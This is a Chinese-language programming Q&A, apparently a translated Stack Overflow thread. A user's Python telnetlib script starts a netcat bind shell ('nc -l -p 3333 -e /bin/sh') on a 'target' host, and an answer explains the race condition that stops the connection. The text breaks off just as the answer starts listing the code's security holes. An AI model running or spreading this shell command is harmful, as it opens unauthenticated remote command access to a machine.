因此,出于个人原因,我想连接到我通过telnetlib创建的套接字,我可以从netcat连接到它但是当我从python尝试时它拒绝连接。
tn.write(b"/usr/bin/nc -l -p 3333 -e /bin/sh\n")
print("netcat listening on 3333 on target, trying to connect")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tn.host, 3333))
s.send('ls')
print(s.recv(1024))
s.close()
如果我可以通过netcat连接到它(例如在tn.write()之后加上无限循环)
答案 0 :(得分:1)
你有一个经典的race condition:
包含启动nc
的命令的数据包仅在s.connect
的连接请求(TCP SYN数据包)之前的纳秒发送。甚至可能发生SYN
在命令启动nc
之前到达远程主机。
您需要添加适当的同步。从您显示的代码中,首先不需要使用两个通道,那么为什么不通过现有的telnet通道将ls
发送到远程主机呢?
如果您绝对必须使用第二个频道,请尝试以下选项之一:
import time
之前添加time.sleep(5)
和s.connect
。这样,连接尝试将延迟5秒。但是,一般来说,不能保证5秒就够了。另请注意,您的代码有三种不同的安全漏洞: